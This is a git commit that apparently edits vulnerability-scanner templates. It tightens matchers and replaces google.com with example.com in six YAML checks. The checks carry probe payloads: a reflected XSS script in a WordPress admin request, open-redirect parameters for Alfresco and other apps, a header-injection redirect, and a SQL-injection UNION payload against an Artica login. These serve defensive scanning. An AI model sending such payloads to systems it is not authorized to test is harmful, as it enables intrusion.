Strict matchers / f/p fix (#4320)

* more strict matcher + matcher fix

* misc updates
patch-1
Sandeep Singh 2022-05-08 12:13:38 +05:30 committed by GitHub
parent 8a8a993031
commit 958b15663c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 32 additions and 16 deletions

View File

@ -20,12 +20,18 @@ requests:
- method: POST - method: POST
path: path:
- "{{BaseURL}}/wp-admin/admin.php" - "{{BaseURL}}/wp-admin/admin.php"
body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>'
redirects: true
body: |
icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
redirects: true
max-redirects: 2
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'contains(tolower(all_headers), "text/html") && contains(set_cookie, "_icl_current_admin_language") && contains(body, "\"><script>alert(0);</script>")' - 'contains(tolower(all_headers), "text/html")'
- 'contains(set_cookie, "_icl_current_admin_language")'
- 'contains(body, "\"><script>alert(0);</script>")'
condition: and
# Enhanced by mp on 2022/04/08 # Enhanced by mp on 2022/04/08

View File

@ -14,17 +14,21 @@ info:
cvss-score: 6.1 cvss-score: 6.1
cve-id: CVE-2019-14223 cve-id: CVE-2019-14223
cwe-id: CWE-601 cwe-id: CWE-601
tags: cve,cve2019,redirect tags: cve,cve2019,redirect,alfresco
requests: requests:
- method: POST - method: POST
path: path:
- '{{BaseURL}}/share/page/dologin' - '{{BaseURL}}/share/page/dologin'
headers: headers:
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
body: |
success=%2Fshare%2Fpage%2F&failure=:\\example.com&username=baduser&password=badpass
matchers: matchers:
- type: regex - type: regex
part: body part: header
regex: regex:
- "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$" - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?example\\.com(?:\\s*)$"

View File

@ -19,15 +19,17 @@ requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}" - "{{BaseURL}}"
headers: headers:
X-Forwarded-Prefix: "https://foo.nl" X-Forwarded-Prefix: "https://foo.nl"
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status - type: status
status: status:
- 302 - 302
- type: word - type: word
part: body
words: words:
- "<a href=\"https://foo.nl/dashboard/\">Found</a>" - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
condition: or
part: body

View File

@ -19,6 +19,7 @@ requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;" - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
redirects: true redirects: true
max-redirects: 1 max-redirects: 1
matchers-condition: and matchers-condition: and
@ -26,17 +27,19 @@ requests:
- type: word - type: word
words: words:
- "artica-applianc" - "artica-applianc"
- type: status - type: status
status: status:
- 200 - 200
- 301 - 301
- 302 - 302
condition: or condition: or
- type: word - type: word
name: session part: header
words: words:
- "PHPSESSID" - "PHPSESSID"
part: header
extractors: extractors:
- type: kval - type: kval
kval: kval:

View File

@ -16,16 +16,16 @@ info:
requests: requests:
- method: GET - method: GET
path: path:
- '{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://example.com' - '{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://example.com'
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: header
words: words:
- "Location: https://example.com" - "Location: https://example.com"
part: header
- type: status - type: status
status: status:
- 301 - 301

View File

@ -9,9 +9,10 @@ info:
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/gotoURL.asp?url=google.com&id=43569" - "{{BaseURL}}/gotoURL.asp?url=example.com&id=43569"
matchers: matchers:
- type: regex - type: regex
part: body part: header
regex: regex:
- '(?m)^(?:Location\s*:\s*)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?google\.com(?:\s*)$' - '(?m)^(?:Location\s*:\s*)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*)$'